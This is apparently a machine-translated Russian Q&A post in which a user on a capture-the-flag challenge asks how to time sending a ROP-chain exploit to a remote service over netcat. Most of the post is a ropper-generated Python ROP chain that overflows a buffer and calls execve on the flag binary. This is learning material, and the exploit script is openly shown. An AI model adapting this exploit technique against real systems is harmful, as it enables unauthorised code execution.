Использование удаленного выполнения кода: задержка двоичного ввода в веб-приложение - PullRequest
0 голосов
/ 07 сентября 2018

Я вхожу в тестирование на проникновение / использование уязвимостей, и в последнее время работаю над проблемой обратного проектирования. Для решения проблемы существует удаленное приложение, к которому я подключаюсь через порт 2888 (я использую netcat со следующей командой):

nc xxx.xxx.x.xx 2888

Затем я получаю приглашение с просьбой ввести данные, которые затем «шифруются» и возвращаются мне.

Задача предоставляет двоичный файл ELF, который, как утверждается, отражает функциональность версии интернет-соединения. Я потратил много времени на анализ этого двоичного файла и обнаружил классическую уязвимость переполнения буфера. Я почти уверен, что на сервере включены ASLR и DEP, поэтому я использовал ориентированное на возврат программирование для разработки цепочки ROP, которая позволит мне выполнить команду. (Я опубликую это в нижней части вопроса)

Все, что мне нужно сделать, чтобы выиграть испытание, это выполнить следующую команду:

/bin/flag myemail123@gmail.com

Затем сервер должен отправить мне флаг. Я настроил свою цепочку ROP для запуска команды execve с помощью указанной выше команды.

В целях тестирования я запустил двоичный файл на виртуальной машине, а затем направил свою цепочку ROP (созданную с помощью python) в порт 2888 на виртуальной машине.

python ./ropchain.py | nc localipaddress 2888

Я изменил команду на / bin / echo, чтобы посмотреть, правильно ли я использовал эксплойт, и, конечно же, она повторяет мой адрес электронной почты. Кроме того, когда я связываю локальный двоичный файл, execve имеет все входные данные, которые я ожидаю.

Однако, когда я пытаюсь направить свою цепочку ROP, как я делал выше, на живой сервер, он записывает ввод в stdin до того, как приложение будет готово к нему, и эксплойт не работает. (Я не получаю письмо). Я проанализировал две мои команды с помощью Wireshark и получаю пакет FIN / ACK, когда мне не следует это делать при подключении к работающему серверу.

У меня вопрос: как я могу записать упакованные адреса и тому подобное, которые составляют мою цепочку ROP, в удаленное приложение, но ждать, пока оно не будет готово для ввода? Я иду об этом правильным путем?

Я включу мою цепочку ROP для справки. Спасибо !!

Ниже приведена цепочка ROP. Если вам интересно, почему некоторые адреса отключены, это происходит потому, что программа берет ввод и сдвигает все символы ASCI на 13 пробелов.

#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
import sys

p = lambda x : pack('Q', x)

IMAGE_BASE_0 = 0x0000000000400000 # ./reverse
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

#padding
rop = 'N' * 24

rop += rebase_0(0x00000000000010fb) # 0x00000000004010fb: pop r13; ret; 
rop += '///////b'
rop += rebase_0(0x0000000000000f90) # 0x0000000000400f90: pop rdi; ret; 
rop += rebase_0(0x000000000037c160) # data section: 0x00000000006ac160
rop += rebase_0(0x0000000000105e0a) # 0x0000000000435e0a: mov qword ptr [rdi], r13; xor eax, eax; pop r12; pop r13; ret; 
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)

rop += rebase_0(0x00000000000010fb) # 0x00000000004010fb: pop r13; ret; 
rop += 'in/flag\0'
rop += rebase_0(0x0000000000000f90) # 0x0000000000400f90: pop rdi; ret; 
rop += rebase_0(0x000000000037c175) # data section: 0x00000000002ac168
rop += rebase_0(0x0000000000105e0a) # 0x0000000000435e0a: mov qword ptr [rdi], r13; xor eax, eax; pop r12; pop r13; ret; 
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)

rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret; 
rop += 'example@'
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c163) # data section: 0x00000000006ac170
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += 'yahooooo'
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret; 
rop += rebase_0(0x000000000037c16B) # data section: 0x00000000006ac178
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += '.com\0\0\0\0'
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret; 
rop += rebase_0(0x000000000037c180) # data section: 0x00000000006ac180
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Put a pointer to the command /bin/echo into the rdi register
rop += rebase_0(0x0000000000000f90) # 0x0000000000400f90: pop rdi; ret; 
rop += rebase_0(0x000000000037c160) # data section: 0x00000000002ac160

#Write the email string to the data section
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += rebase_0(0x000000000037c163) # data section: 0x00000000006ac170
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c190) # data section: 0x00000000006ac190
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Write NULL bytes to the data section
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += p(0x0000000000000000)        # NULL
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c198) # data section: 0x00000000006ac198
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Write ///////b  to the data section
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret;  
rop += rebase_0(0x000000000037c160) # data section: 0x00000000006ac160
rop += rebase_0(0x000000000000106a) # 0x0000000000401077: pop rsi; ret;
rop += rebase_0(0x000000000037c188) # data section: 0x00000000006ac188
rop += rebase_0(0x000000000012c111) # 0x000000000045c111: mov qword ptr [rsi], rax; ret;

#Set the rdx register to NULL
rop += rebase_0(0x00000000000ea948) # 0x000000000041a955: pop rdx; ret;
rop += p(0x0000000000000000) 

#Set the rax register to the value for execve()
rop += rebase_0(0x000000000000ec77) # 0x000000000040ec6a: pop rax; ret; 
rop += p(0x000000000000003b)

#Make the syscall
rop += rebase_0(0x00000000001234e5) # 0x00000000004534e5: syscall; ret;
rop += '\x90' * 400
print rop
...